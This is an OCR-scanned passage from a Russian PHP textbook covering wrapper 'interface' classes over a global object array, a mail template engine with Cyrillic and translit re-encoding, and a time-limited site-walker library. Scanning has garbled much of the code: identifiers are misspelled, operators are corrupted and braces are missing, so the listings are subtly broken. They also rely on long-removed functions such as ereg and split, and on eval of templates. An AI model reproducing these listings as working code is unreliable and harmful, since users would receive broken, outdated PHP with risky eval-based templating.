даже работать верно — до тех пор, пока для копии объекта не будет вы-
зван метод, ради которого мы и хотели избежать копирования. Вообрази-
те себе муки программиста, отлаживающего такую программу, которая
отказалась правильно работать по этой причине — ведь & может быть
пропущен очень далеко от того места, где возникла ошибка!
П У неопытного программиста , использующего ваш класс, может возник -
нуть искушение скопировать $тьи в новую переменную "обычным" об-
разом — при помощи оператора =. Или же он может по ошибке пропус-
тить & , когда объявляет функцию со ссылочным параметром.

Мы видим , что два указанных недостатка приводят к тому, что программу
становится очень трудно отлаживать. А такие программы, как показал мно-
голетний опыт программирования , не только никуда не годятся — они при -
носят разработчику лишь огорчения, сокращая его век.
Есть ли альтернатива ссылкам? Оказывается, есть. Правда, она сопряжена с
большими сложностями при разработке классов, но зато полностью лишена
недостатков, описанных выше. Это — фактическое отделение набора мето-
дов, отвечающих за взаимодействие с объектом класса (то есть интерфейса
класса) от его реализации.

Возврат интерфейса

Поговорим немного о том, что же собой представляют интерфейсы в объект-
но-ориентированном программировании. Это понятие довольно сложное, и о
нем написано множество томов. Я, разумеется, не собираюсь их здесь пере-
сказывать, потому что эта книга — о РНР, а не об идеологии ООП.

----------------------- Page 498-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 483

Интерфейсы — главная "изюминка" практически всех сложных объектно-
ориентированных систем (например, СОМ+, CORBA) и одно из основных
понятий такого языка, как Java. Язык C++ также во всем поддерживает эту
идеологию. Что же может дать нам РНР в этом отношении? К сожалению,
довольно немного. И все-таки даже этого хватает, чтобы избавиться от не-
достатков, присущих ссылкам в РНР — во всяком случае, для нашей задачи.

Психологи утверждают, что яркие ассоциации запоминаются особенно хо-
рошо. Что ж, проверим. Помните, когда мы были маленькими детьми , всем
нам рассказывали сказки. Почему бы не заняться этим вновь? Как считаете,
а?.. Ну и прекрасно (хотя я, право, не могу знать наверняка, что вы ответи-
ли) . В скобках я буду давать комментарий , ведущий параллельную линию
повествования. Итак, закроем глаза и представим себе большого кита
(объект большого и сложного класса, например, MysqiTabie), лениво плаваю-
щего по просторам океана (расположенного в оперативной памяти). Мы не
настолько смелы, чтобы приблизиться к этому киту на достаточно близкое
расстояние и дотронуться до него (не хотим использовать свойства или ме-
тоды объекта напрямую). Если уж быть честными, мы даже не видим этого
кита (не можем напрямую использовать в программе этот объект) — он
слишком далеко (на него нет ссылок), и уж подавно не можем его сдвинуть с
места (скопировать объект в другую переменную). Но зато, как мы знаем, его
постоянно сопровождают рыбы-прилипалы (объекты-интерфейсы), малень-
кие и юркие (имеющие код небольшого размера), которые иногда заплывают
достаточно далеко, чтобы мы могли с ними взаимодействовать. Этих рыб
нам удалось выдрессировать, так что теперь они могут передавать киту лю-
бые наши приказы (передавать запросы на обслуживание) — разумеется, из
тех, что сами понимают (для которых имеются соответствующие методы).
Конечно, к киту могут "приклеиваться" рыбы-прилипалы различных видов и
по-разному дрессированные (объект может иметь несколько разных интер-
фейсов). Важно то, что мы не можем взаимодействовать с китом никак ина-
че, кроме как посредством этих рыб-прилипал (не можем напрямую использо-
вать объект). При этом мы имеем право совершенно свободно разводить
прилипал в неволе (копировать объекты-интерфейсы), ведь киту (главному
объекту) нет до этого ровным счетом никакого дела (в РНР объект "не
знает", сколько у него интерфейсов и как они используются).

^ Примечание

Вроде бы понятно, не правда ли? А теперь давайте уберем все, кроме слов-
связок, но оставим курсив. Вот что у нас получится. "Представим себе объект
большого и сложного класса, например, MysqlTable , расположенный в опера-
тивной памяти. Мы не хотим использовать свойства или методы объекта на-
прямую. Если уж быть честными, мы даже не можем напрямую использовать в
программе этот объект — на него нет ссылок, и уж подавно не способны скопи-
ровать объект в другую переменную. Но зато, как мы знаем, его постоянно
"сопровождают" объекты-интерфейсы, имеющие код небольшого размера. Эти

----------------------- Page 499-----------------------
484 Часть V. Приемы программирования на РНР

интерфейсы могут передавать запросы на обслуживание — разумеется, из тех,
для которых имеют соответствующие методы. Конечно, объект может иметь
несколько разных интерфейсов. Важно то, что мы не можем напрямую исполь-
зовать объект. При этом мы имеем право копировать объекты-интерфейсы —
главному объекту нет до этого ровным счетом никакого дела. В РНР объект "не
знает", сколько у него интерфейсов и как они используются".

Итак, основная идея такова: отделим интерфейс MysqiTabie от его реализа-
ции, т. е. напишем класс iMysgi , с которым и будем всегда работать. Этот
класс должен содержать все те методы, которые поддерживаются KysqiTable,
только заниматься они будут ни чем иным, как просто переадресацией вызо-
вов на "настоящие" объекты. А последние, в свою очередь, хранятся в гло-
бальном массиве объектов, на элементы которого должно ссылаться одно из
свойств iMysqi . Реализуем эту стратегию для упрощенной версии MysqiTabie ,
имеющей только метод Drop о и конструктор (листинг 31.5):

I Листинг 31.5. Упрощенный интерфейс к таблице MySQL

// Массив объектов-таблиц , созданных в программе

$GLOBALS["Tables"]=array(); // вначале массив пуст

// Реализация класса . Это — обычный класс без каких-либо особенностей .

// Давайте предположим , что объекты этого класса недопустимо

// копировать обычным способом .

class MysqiTabie {

// . . .

function MysqiTabie($name ) { echo "MysqiTabie($name)<br>" ; }

function DropO { echo "Drop()<br>" ; }

}
// Класс-интерфейс

class IMysqi {

var $id; // идентификатор реализации таблицы (MysqiTabie) в $Tables
// Открывает таблицу с именем $name . Если эта таблица уже была

// открыта ранее , то ничего не делает и просто становится ее

// синонимом , иначе создает экземпляр объекта .

function IMysqi($name )

{ global $Tables ;

$this->id=$name;

// Если объект для таблицы $name еще не создан , создать его

if(!isset($Tables[$name])) $Tables[$name]=new MysqiTabie($name) ;
// Иначе объект уже существует и ничего делать не надо

----------------------- Page 500-----------------------
Глава 31, Объектно-ориентированное программирование на РНР 485

// Уничтожает таблицу . Переадресуем вызов реализации

function Drop( ) { $obj=S$GLOBALS['Tables'][$this->id] ; $obj->Drop() ; }

}

// Демонстрация работы с интерфейсом

$m=new IMysql("TestTable") ; // объект создается

$m=new IMysql("TestTable") ; // новый объект не создается !

$m->Drop(); // очищается единственный объект

^~ Примечание"

Откровенно говоря, мы реализовали здесь не совсем то, что в объектно-
ориентированном проектировании принято называть "интерфейсом". По опреде-
лению интерфейс не может иметь конструктора, класс же IMysql его имеет. Так
что слово "интерфейс" здесь, мягко говоря, не подходит, но я буду называть
класс IMysql именно так— для краткости. Думаю, в этом нет ничего страш-
ного — такова уж специфика РНР, и это самое простое, что можно было бы пред-
ложить. В самом деле, не писать же на РНР специальные "классы-фабрики", за-
нимающиеся исключительно созданием объектов, как это принято в ООП...

Таким образом, как при копировании , так и при создании объекта-таблицы,
который был уже ранее создан в программе, новый экземпляр объекта не
создается. Иными словами, мы можем иметь сколько угодно объектов клас-
са IMysql , ссылающихся на одну и ту же таблицу, и при изменении одного
из них это "почувствуют" и все остальные. Нужно только грамотно реализо-
вать все переадресующие функции .
И еще насчет класса-реализации: лучше всего дать ему какое-нибудь некра-
сивое имя (например, MysqlTabieimpi ), чтобы какой-нибудь неопыт-
ный пользователь случайно не стал к нему обращаться напрямую , а не через
IMysql.

Хочу заметить, что в настоящих объектно-ориентированных языках нет
причин прибегать к столь странным ухищрениям , потому что в них есть та-
кое понятие, как указатель. В этих языках подобъект класса-интерфейса
IMysql содержится прямо внутри объекта MysqlTabie , и указатель на него
можно получить либо посредством явных преобразований типов, либо с по-
мощью специальных функций для "отпочковывания" интерфейса. Напри-
мер, в СОМ+ эти функции часто называют Queryinterfac e о . Здесь же у
нас вышло нечто вроде примитивной поддержки указателей (ведь объект
класса IMysql именно указывает на "хозяина" типа MysqlTabie , но не со-
держит его в себе!), которых в РНР нет.
Правда, получилось все это несколько неказисто (уж очень некрасивы и
одинаковы функции переадресации...), зато механизм действительно работа-
ет и решает все поставленные задачи.

----------------------- Page 501-----------------------
Глава 32

и

Почтовые -"-^ L
шаблоны

В главе 20 мы уже обсуждали задачу создания универсальной функции для
рассылки писем из PHP-сценария. Если вы помните, мы хотели назвать ее
FostMaiio и "научить" перекодировать письма в нужную кодировку перед их
отсылкой, а также выполнять функции небольшого шаблонизатора. В этой
главе мы детально рассмотрим, как может быть устроена такая функция.

Мини-шаблонизатор

Конечно, пользователю будет приятно , если письмо (пусть даже и сгенери-
рованное программой) будет адресовано ему лично . Например , в поле From
содержится фамилия и имя клиента , а первые строки текста звучат как-
нибудь вроде: "Уважаемый ФИО!". Так что нам придется формировать текст
письма "на лету" -- проставлять в нем нужное имя , фамилию , тему и т. д. по
общему шаблону .

В идеале такой шаблон должен ничем не отличаться от небольшого РНР-
сценария с тэгами <? и ?> и возможностью использования команды echo
или print , не говоря уж о всех остальных инструкциях . Но вот беда: как
нам этот самый шаблон "развернуть", превратить в письмо-строку , которую
потом мы будем посылать по почте? Пусть, например , у нас есть следующий
шаблон письма (разделителем заголовков и тела письма служит маркер
-startofMaii, обрабатываемый функцией PostMaiio) :

То : "<?=$Name?> " «?=$email?»

Subject: <?=$Subject?>

-StartOfMail .

Дорогой <?=$Name?> !

Только что Вы подписались на наш лист рассылки .

Пожалуйста , подтвердите свое желание получать новости нашего сайта .

Если бы мы писали сценарии на РНР версии 3, задача обработки такого
шаблона была бы практически невыполнимой . К счастью, при использова-
нии РНР версии 4 все проще: в нем имеются функции "перехвата" стан-
дартного выходного потока (о них мы уже говорили в главе 30).

----------------------- Page 502-----------------------
Глава 32. Почтовые шаблоны 487

Давайте начнем проектирование функции PostMaiio с написания своеоб-
разного "мини-шаблонизатора" - - функции, которая умеет "разворачивать"
шаблоны наподобие приведенного выше, возвращая окончательный текст.
Назовем ее, к примеру, ExpandTemplate о (листинг 32.1). Думаю, будет це-
лесообразно вынести данную функцию в отдельную библиотеку, потому что
она достаточно универсальна для этого.

j Листинг 32.1. Функции обработки шаблонов: Minitempiate . phi

// Эта функция используется для внутренних целей . Она возвращает

// "развернутый " шаблон $ tempi . Перед обработкой создаются переменные ,

// имена которых содержатся в ключах массива $Vars , а значения — в

// соответствующих значениях массива . Если $Vars===false , то вместе

// него используется массив $GLOBALS (то есть делаются доступными все

// глобальные переменные ) . Значение параметра $ReadFile "истина "

// указывает , что в $templ хранится не содержимое шаблона , а имя файла ,

// из которого его можно получить .

// Замечание : параметр $Vars передается по ссылке , т . к . для

// массивов передача ссылки работает значительно быстрее , чем

/ / копирование .

function _RunTemplate ($tmpl, $ReadFile , &$Vars )

{ // Перехватываем стандартный поток вывода

ob_start ( ) ;

// Если $Vars опущен , использовать вместо него $GLOBALS . Мы

// используем ссылки для убыстрения работы- , чтобы РНР не пришлось

// копировать значения , чем экономим время .

if ($Vars===false) $Vars=S$GLOBALS ;

// Делаем доступными коду шаблона все переменные . Также создаем

// ссылки из соображений производительности .

foreach($Vars as $k=>$v) $$k=&$Vars [$k] ;

// Включаем файл по include , либо же запускаем eval ( ) .

if ($ReadFile) { include $templ ; }

else eval ( "?>$templ;<?"} ;

// Получаем содержимое буфера и закрываем его

$MTResult=ob_get_contents ( ) ;

ob_end_clean ( ) ;

// Возвращаем развернутый шаблон

return $MTResult;

----------------------- Page 503-----------------------
488 Часть V. Приемы программирования на РНР

I / Функция "разворачивает" шаблон , тело которого расположено

// в файле $fname . Перед запуском переменные из $Vars делаются

// доступными шаблону (если этот параметр не опущен ) .

function ExpandFile ($fname , $Vars=false )

{ return _RunTemplate ($fname, true , $Vars ) ;

II Функция "разворачивает " тело шаблона , явно заданное в $tmpl .

// Рекомендуется везде , где можно , применять ExpandFile () вместо

// данной функции , потому что это упрощает отладку .

function ExpandTemplate ($tmpl , SVars=false )

{ return _RunTemplate ($tmpl, false , $Vars ) ;

Замечание

Зачем нам две различных функции для "раскрытия" шаблона —
ExpandTemplate ( ) и ExpandFile () ? Почему бы не использовать всегда
ExpandTemplate ( ) , предварительно загружая тело шаблона с помощью
функций чтения файлов? Все дело в тонкостях обработки ошибочных ситуаций
в РНР. А именно, в случае ошибки внутри файла, загружаемого по include,
РНР сообщит нам имя этого файла. Если же ошибка произойдет в eval ( ) , вы-
ведется только номер строки, что сильно затруднит отладку. Поэтому рекомен-
дуется везде, где это допустимо, вызывать функцию ExpandFile ( ) .

Отправка и перекодирование писем

Приступим ко второй части нашей задачи — напишем функцию PostMaiio ,
которая будет отправлять письмо адресату, преобразовав его предварительно в
нужную кодировку. Вот какие возможности она будет обеспечивать:

П вставку заголовка From в письмо, если он еще не присутствует в сообщении;

П преобразование письма в нужную кодировку кириллицы ;

О вставку соответствующего значения в заголовок Content-type , чтобы
письмо было "понятно" любой почтовой программе;

П поддержку функций мини-шаблонизатора, который мы уже написали.

В листинге 32.2 приведен исходный код функции . Как обычно, мы помеща-
ем функцию в отдельный модуль библиотекаря (библиотекарь описан в гла-
ве 29). Этот модуль будет использовать возможности, предоставляемые биб-
лиотекой Miriitemplat e .phi .

----------------------- Page 504-----------------------
Глава 32. Почтовые шаблоны 489

! ЛИСТИНГ 32.2. функция PostMail () : Mail.phi

<?
Uses("Minitemplate");

// Кодировка по умолчанию для исходного текста .
define("DefaultCode","w");

// Функция возвращает строку $st , переведенную из кодировки

// $from в кодировку $to . Возможные значения этих параметров :

// wfindows ] — windows-1251
// k[oi8-r] - koi8-r
// m[ac] - x-mac-cyrillic

// i[so] - iso-8859-5

// t[ranslit] — translit ("английскими" буквами — "русские" слова)
// Замечание : квадратными скобками помечены необязательные символы .
// параметр $from не может равняться "t", потому что трудно
// восстанавливать текст из транслита (хотя эта задача и разрешима) .
// Функция полезна и сама по себе , но все-таки чаще всего ее

// применяют для работы с почтой . Именно поэтому я включаю

// ее в этот модуль .
function EncodeString($st,$to,$from=DefaultCode)
{ // Оставляем только первые буквы названий кодировок
$from=strtolower(substr($from, 0,1));
$to =strtolower(substr($to , 0,1));
// Пытаемся воспользоваться встроенной в РНР функцией
if($to!="t") return convert_cyr_string($st,$from,$to) ;
// Иначе нужно преобразовать строку в Translit , что придется

// делать "вручную" — при помощи strtr() .

// Сначала заменяем "односимвольные" фонемы .
$st=strtr($st, "абвгдеёзииклмнопрстуфхъыэ" ,
"abvgdeeziyklmnoprstufh'ie") ;

$st=strtr($st,"АБВГДЕЁЗИИКЛМНОПРСТУФХЪЫЭ",

"ABVGDEEZIYKLMNOPRSTUFH'IE");

// Затем— "многосимвольные" .
$st=strtr($st,array(
"ж"=>"гп", "u"=>"ts", "4"=>"ch", "ui"=>"sh",
"щ"=>"зпсп","ь"=>"", "ю"=>"уи", "я"=>"уа",
"Ж"=>"2Н", "Ц"=>"ТЗ", "Ч"=>"СН", "Ш"=>"ЗН",

----------------------- Page 505-----------------------
490 Часть V. Приемы программирования наРНР

/ / Возвращаем результат .

return $st;

// Значения параметра Content-tyep charset в зависимости от

// односимвольного названия кодировки .

global $CoderCharset ;

$CoderCharset ["w" ]="windows-1251";

$CoderCharset [ "i" ] ="iso-8859-5" ;

$CoderCharset ["k"] ="koi8-r";

$CoderCharset [ "m" ] ="x-mac-cyrillic" ;

$CoderCharset [ "t" ] ="koi8-r " ;

// Разделитель тела и заголовков (таких как From : и т . д. ) в письме .

def ine ("MailDivider" , "-StartOfMail") ;

// Посылает письмо $msg по заданному адресу $to , перед этим

// преобразовав его в кодировку SencTo . Проставляет поле

// charset и правильно обрабатывает имя получателя (если

// в теле письма уже указано "То : Вася" , то в результате

// получается "То : Вася <vasya@pupkin . ru>") . Если работа происходит

// в Win32 , то письмо не посылается , а создается отладочный файл ,

// в котором будет содержаться текст письма .

// Письмо должно состоять из заголовков и тела , разделенных

// маркером -StartOfMail .

function SendMail ($to, $msg , $encTo=DefaultCode , $encFrom=DefaultCode )

{ global SCoderCharset ;

/ / Перекодируем

$msg=EncodeString ($rnsg, SencTo , $encFrom) ; // тело письма

$head=""; // заголовки

// Если есть заголовки , выделяем их .

if (strpos ($msg,MailDivider) !==false) {

$regs=split (MailDivider . "\r?\n?" , $msg , 2) ; // тело и заголовки

$head=trim($regs [0] ) ;

$msg=$regs [1] ;

----------------------- Page 506-----------------------
Глава 32. Почтовые шаблоны _ 491

/ / Работаем с заголовками . Разбиваем их на строки .

if($head) $Lines=split ( " ( \r\n] +", $head) ; else $Lines=array ( ) ;

$HasContType=0; // число найденных заголовков Content-type

$chs="charset=$CoderCharset [$encTo] ";

$subject="";

for($i=0; $i<count ($Lines) ; $i+-r) {

$l=&$Lines[$i] ;

// Проставляем текущую кодировку у письма. Для этого

// проверяем , задан ли в нем заголовок Content-type и ,

// если задан , то модифицируем его , а если нет -

// добавляем этот заголовок в начало и конец письма.

A
if (eregi (" Content-type : ",$!)) {

if (eregi ("charset *=",$!})

Л
$l=eregi_Replace ("charset *= * [ ; , \n] +", $chs , $1) ;

else

$1.="; $chs" ;

$HasContType-f+;

}
// Проверяем значение поля "to" в письме — там может быть имя

// получателя . В этом случае добавляем к нем;/ еще и адрес .

A Л
if (eregi (" to: ( [ \г\п]*) ", $1 , $regs ) ) {

$to=trim($regs [1] } . " <$to>";

$1="";

}
// Проверяем заголовок Subiect . В некоторых версиях PHP

// передача пустого второго параметра в функцию mail( )

// приводит к нежелательным последствиям . Указывая в заголовке

// значение Subject из письма , мы решаем проблему .

Л
if (eregi ('^subject : ( [ \г\п] *) ", $1, $regs ) ) (

$subject=trim($regs [1] ) ;

// Нет заголовка Content-type — добавляем его в конец .

if ( !$HasContType ) $Lines [ ] ="Content-type : text/plain ; $chs "

// Соединяем строки опять вместе .

$head=ereg_Replace ("\n\n+", "\n", join ( "\n", $ Lines ) ) ;

// Посылаем письмо .

$Result=@mail ($to , $subject , $msg , $head ) 1=0;,

----------------------- Page 507-----------------------
492 _ Часть V. Приемы программирования на РНР

//В Windows параллельно ведем журнал писем (для отладки) .

if (getenv ( "COMSPEC" ) ) {

if ( !@is_dir ("debug") ) mkdir ("debug", 0755) ;

5f=fopen (" debug /_debug_mail . txt" , "a+") ;

fputs ($P,"> to: $to\n") ;

fputs (Sf, "$head\n— -\n") ;

fputs ($f , "$msg\n — — \n\n" ) ;

fclose($f) ;

}

return $Result;

// Функция PostMailO "разворачивает " шаблон $msg , делая доступньм для

// него переменные из массива $Vars (см. описание функций

// ExpandTemplate ( ) и ExpandFile ()) • Затем она переводит результирующий

// текст в кодировку , заданную в $епсТо (сам текст при этом

// рассматривается в кодировке SencFrom ) , и посылает его по электронной

// почте по адресу $to . Если строка $msg начинается с префикса

// file:, за которым следует имя файла , то шаблон письма загружается из

// этого файла при помощи ExpandFile () . В противном случае в качестве

// шаблона рассматривается сам параметр $msg ,

function PostMail ($to, $msg, $encTo=DefaultCode ,

$Vars=false, $encFrom=DefaultCode)

( if (eregi (""file: (.*) (\n|\$) ",$msg,$P) )

$Text=ExpandFile (trim($P[l] ) ,$Vars ) ;

else

$Text=ExpandTemplate (Smsg , SVars ) ;

// Посылаем письмо .

return SendMail ($to, $Text , $encTo , $encFrom ) ;

Отличительной особенностью функции Encodestring о (а также всех ос-
тальных почтовых функций) является то, что она умеет перекодировать
текст в транслит.

Замечание )

Термин "транслит" (сокращение от "транслитерация") означает такую кодировку
кириллицы, при которой все "русские" буквы контекстно заменяются на запи-

----------------------- Page 508-----------------------
Глава 32. Почтовые шаблоны 493

санные в соответствии с английской транскрипцией. Например, vot stroka,
zapisannaya translitom. Эта кодировка особенно полезна для пользователей
Unix, которые забыли установить у себя "русскую" таблицу символов.

Пример

Напоследок рассмотрим пример применения описанных выше функций .
Предположим, в некотором текстовом файле хранится список подписчиков ,
каждая строка которого оформлена в следующем формате:

Имя_подписчикаI адрес|timestamp_noflriMCKM|кодировка письма

Напишем сценарий, который будет посылать каждому подписчику из этой
простейшей базы данных "личное" письмо с самыми последними новостями
сайта. Предположим для простоты, что эти новости в программе уже сохра-
нены в массиве SNews .

Для начала создадим шаблон письма (листинг 32.3):

Листинг 32.3. Шаблон "личного" письма: mail. txt

Content-type: text/plain

From: Система рассылки <subscribe@ourserver . ru>
To : <?=$User [ 'name ' ] ?> .

Subject: Свежие новости

Content-type: text/plain

-StartOfMail

Уважаемый <?=$0ser [ 'name ' ] ?> !

Вы подписались на наш лист рассылки <?=date ("d. m . Y", $User [' time '])?>•

Предлагаем Вашему вниманию последние новости .

<?foreach($News as $k=>$v ) { ?>

<?=WordWrap($v, 60) ?> .

Как видим, шаблон практически ничем не отличается от небольшого сцена-
рия на РНР. Он получает данные из переменных $user (данные пользовате-
ля) и $News (блоки новостей), которые должны устанавливаться запускаю-
щей программой. Вскоре мы рассмотрим процедуру более подробно, а пока
обратите внимание на некоторые моменты при написании этого шаблона.

П Мы указали заголовок content-type сразу в двух местах шаблона — в
начале и конце. В силу рассуждений, приведенных в главе 20, это необ-

----------------------- Page 509-----------------------
494 Часть V. Приемы программирования на РНР

холимо для того, чтобы помочь некоторым "недогадливым" почтовым
программам в определении кодировки письма .

П Заметьте, что в конце заголовка то стоит точка. Зачем она нужна? Дело в
том, что закрывающий тэг РНР ?>, если он занимает последние символы
строки, никогда не генерирует знака перевода строки \п . Это, видимо,
сделано для того, чтобы уменьшить количество пустых строк в страни-
цах, которые создает интерпретатор. В нашем случае отсутствие раздели-
теля может сильно помешать, если не поставить после тэга ?> какой -
нибудь знак. Вообще-то, лучше здесь использовать пробел, но в листинге
он был бы совершенно незаметен, — вот почему я и выбрал точку.

О Наконец, чтобы каждая строка новостей, которые получит пользователь, бы-
ла не длиннее 60 символов, мы задействуем встроенную в РНР функцию
wordwrap ( ) . Подробнее о ней можно прочитать в главе 12 настоящей книги.

В листинге 32.4 приведен код, который, собственно, и занимается рассыл-
кой писем.

: Листинг 32.4. Код рассылки писем

// Подключаем библиотекаря "прямым " способом .

include "$DOCOMENT_ROOT/php/Librarian.phl" ;

// Подключаем модуль с функцией PostMailO

Uses ("Mail" ) ;

// . . .

// Здесь мьт должны генерировать массив $News ,

// содержащий блоки последних новостей .

// Открываем базу данных с подписчиками . Ее формат был

/ / рассмотрен нами ранее .

$F=File ("db.txt") ;

foreach ($F as $s) {

$User=explode (" I ", trim($s) ) ;

// Для удобства создаем для каждого значения ключи .

$User=array (

"name" => $User [0] ,

"email" => $User[l] ,

"time" => $User [2] ,

"encode" => $User[3 ]

----------------------- Page 510-----------------------
Глава 32. Почтовые шаблоны _ 405

) ;

// Посылаем письмо по шаблону из файла maii.txt

// очередному пользователю , переводя его в желаемую кодировку .

PostMail ($User [ 'email ' ] , "file : mail . txt" , $User [ 'encode ' ] ) ;

Этот код довольно красноречиво показывает , что работать с нашей новой
функцией PostMail о очень просто. Большая его часть занимается не от-
правкой писем , а разбором записей в базе данных . Так как переменные
$user и $News — глобальные, то не нужно предпринимать никаких допол-
нительных действий , чтобы использовать их в шаблоне письма .

На этом мы завершим рассмотрение возможностей РНР по отправке элек-
тронной почты и разбору шаблонов писем . Я не затронул здесь тему, касаю-
щуюся включения в письма так называемых attachmenfoB (или "вложенных
файлов"), потому что в формате писем , содержащих "вложения" , довольно
легко запутаться. Любознательный читатель всегда сможет добавить в модуль
Mail.phl функции, позволяющие удобно работать с "вложениями". Для того
чтобы разобраться с форматом таких писем, можно даже не искать соответст-
вующую документацию: достаточно просто посмотреть на исходный текст
письма, сгенерированного какой-нибудь почтовой программой, и уловить за-
кономерности размещения заголовков и блоков текста.

----------------------- Page 511-----------------------
Глава 33

Разные советы

В этой небольшой завершающей главе сведены воедино некоторые советы и
приемы программирования сценариев, которым не было удалено достаточ-
ного внимания в остальных главах книги .

Разделенные вычисления

Большинство хостинг-провайдеров ставят ограничения на то время, в тече-
ние которого могут выполняться сценарии пользователя. Иными словами,
если выполнение программы занимает более определенного времени
(например, 10 секунд), она прерывается принудительным образом. Мини -
мальный квант времени задается в файле конфигурации php.ini . Как пра-
вило, его хватает для большинства программ, но все же существуют Web-
приложения, требующие длительной работы.

Одним из таких приложений является автоматически генерируемая карта
сервера. Она может представлять собой обычный сценарий на РНР, кото-
рый рекурсивно обходит все каталоги сервера и собирает информацию о
файлах, которые в них находятся. Конечно, если сайт велик, кванта време-
ни, отведенного хостинг-провайдером, может и не хватить. Кроме того, не
очень вежливо заставлять пользователя ждать загрузки страницы карты сер-
вера дольше нескольких секунд.

Как же быть, если описанный сценарий нужен для вашего сайта? Для этого
следует формировать карту не при каждом запросе, а лишь изредка, — ведь
новые страницы добавляются на сервер довольно редко. Гораздо реже, чем,
например, их загружают пользователи. Кроме того, наверное, пользователь
не будет особенно недоволен, если изменение на карте сервера проявится
не сразу же, а спустя некоторое время — например , час. Главное для него,
чтобы карта была всегда перед глазами, а значит, отображалась быстро.

Мы можем хранить уже "просчитанную" карту сервера в файле, быстро вы-
давая его пользователю при запросе. Но даже если мы собираемся обнов-
лять этот файл всего лиш ь один раз в час (при очередном запросе карты
пользователем), мы наталкиваемся на проблему нехватки кванта времени,
выделенного хостинг-провайдером.

----------------------- Page 512-----------------------
Глава 33. Разные советы 497

Чтобы решить и эту проблему, придется разбить построение большой карты
на множество мелких этапов, каждый из которых занимает, скажем, не бо-
лее 2-х секунд. Каждый такой этап должен запускаться при очередном об-
ращении пользователя к карте сервера, но уже после того, как содержимое
временного файла с "просчитанной" картой будет отправлено пользователю.
Таким образом, мы постепенно будем накапливать сведения и, как только
весь сайт обработан, перестроим карту во временном файле. В ближайший
час будет отображаться именно она.

Напишем функцию w a i k s i t e t ) , которая будет заниматься поиском и обра-
боткой файлов на каждом этапе обхода сайта. Листинг 33.1 содержит код
библиотеки, в которой описана эта функция. Чтобы не "привязываться" к
специфике конкретной задачи, сделаем функцию универсальной. Будем пе-
редавать ей имя процедуры-обработчика, умеющего "вытаскивать" из ука-
занного файла всю информацию, необходимую для построения карты
(например, название страницы, ее размер и т. д.), сама же waiksit e о будет
просто вызывать этот обработчик в нужный момент времени, следя за тем,
чтобы квант времени, отведенный на данный этап построения карты, не
истек. Если это произойдет, текущее состояние обхода сервера (включая
всю собранную информацию) будет сохранено в специальном файле, а при
следующем запуске — восстановлено, с тем чтобы обход продолжился с того
же места, где он завершился в прошлый раз.

Листинг 33.1. Библиотека для обхода дерева сайта: siteWalker .phi

// Функция выполняет один этап обхода всех каталогов и файлов сайта .
// Если обход нужно продолжить, загружается предыдущее состояние
// из файла $cache. Если этого файла не существует, значит,
// необходимо начать новый обход, начиная с каталога $Root.
// Этап будет длиться не более $time секунд (если 0, то за один
// раз обрабатывается ровно один файл или каталог) .
// Для каждого обнаруженного файла или каталога вызывается функция,
// имя которой передано в $Func.
// Формат функции: function FWalker(string $fname, array &$Result)
// Эта функция должна обрабатывать найденный файл $fname
// соответствующим образом и добавлять данные в массив $Result
// (в любом формате) . Состояние массива $Result будет автоматически
// сохранено сразу по истечении кванта времени и восстановлено
// перед началом нового этапа.
// Возвращает true, если процесс не был закончен на этом этапе,
// и false, если только что были обработаны последние файлы на сервере.

----------------------- Page 513-----------------------
498 _ Часть V. Приемы программирования на РНР

function WalkSite ($Root , $Func , $cache , $time , &$Result )

{ $Start=time (} ;

// Состояние в самом начале работы . Нужно обработать

// корневой каталог SRoot .

$Prg=array (

"Todo" => array ($Root) , // для накопления путей необработанных файлов

"Res" => array О , // результат обработки всех файлов

) ;
// Пытаемся загрузить текущее состояние . Если не получается ,

if ($f=@fopen($cache , "rb") ) {

if (@flock($f,LOCK_SH) ) {

$Prg=Unserialize (f read ($f , filesize ($cache) ) ) ;

fclose ($f ) ;

// Обходим сайт — по одной итерации цикла на каждый файл или

// каталог . Найденные файлы добавляются в конец массива

// $Prg['Res'] , а подвергающиеся обработке — извлекаются из его

// начала . Таким образом , мы продолжаем процесс до тех пор ,

// пока не будут "пройдены " все файлы на сервере .

do (

/ / очередное полное имя файла

$fname=array_shift ($Prg [ 'Todo ' ] ) ;

// если это не файл и не каталог , пропускаем

if ( ! @is_file ($fname) && ! @is_dir (Sfname) ) continue ;

// если это каталог , добавляем все его содержимое

if (@is_dir ($fname) ) {

$FiIes=array ( ) ;

for ($d=openDir($f name ) ; $e=readDir ($d) ; ) {

if ($e=". " I |$e==". . ") continue ;

$Files[]="$fname/Se";

}

closeDir ($d) ;

// вставляем в начало массива , чтобы на следующей итерации

// цикла обрабатывались именно эти файлы

1
$Prg [ 'Todo ]=array_merge($Files,$Prg [ 'Todo ' ] ) ;

----------------------- Page 514-----------------------
Глава 33. Разные советы _ 499

// вызываем функцию для обработки очередного файла или каталога

1
$Func($fname,$Prg['Res ] ) ;
// выходим , если время истекло , или же необработанных
// файлов не осталось .
} while (time () -$Start<$time && count ($Prg [ 'Todo ' ]));

// Вернуть текущий результат в $Result .
$Result=$Prg['Res'] ;
// Если еще есть файлы для обработки , сохранить состояние .
if (count ($Prg [ 'Todo'] ) ) (
// Сохраняем текущее состояние . В следующий раз мы начнем с него .
$f=fopen($cache, "а+Ь") ;
f lock ($f , LOCK_EX) ;
ftruncate($f,0) ;
fwrite ($f , Serialize ($Prg) ) ;
fflush($f); f close ($f);
return true ; // процесс продолжается

}
// Иначе процесс закончился . Удалить файл состояния .
@unlink($cache) ;
return false;

Я не буду приводить здесь реальный сценарий для построения карты серве-
ра, потому что он слишком велик и, к тому же, довольно однообразен и не-
интересен. Вся "изюминка" заключена именно в функции WaiksiteO . Лис-
тинг 33.2 содержит небольшую "демонстрацию" ее возможностей. Сценарий
собирает сведения о размере каждого файла сайта, печатая на каждом этапе
имена обработанных объектов, а затем выводит сводную информацию.

\ ЛИСТИНГ 33.2. Демонстрация возможностей функции WalkSite ( ) ; demo . php

// Подключаем библиотекаря "прямым" способом .
include "$DOCUMENT_ROOT/php/Librarian.phl" ;
// Подключаем модуль с функцией WalkSite О .
UsesC'SiteWalker") ;

// Эта функция будет вызываться для каждого файла на сервере .

173ак . 699

----------------------- Page 515-----------------------
500 Часть V . Приемы программирования на РНР

//Ее задача — добавить обработанные данные из этого файла

/ /в массив SResult (формат определяется назначением этих данных ) .

function Walk($fname , &$Result)

{ // для диагностики выводим имя файла

print ">$fname<br>";

// в качестве примера — просто добавляем имя файла в массив

$Result []="Sfname : <b> " . f ilesize ($fname) ."</b>";

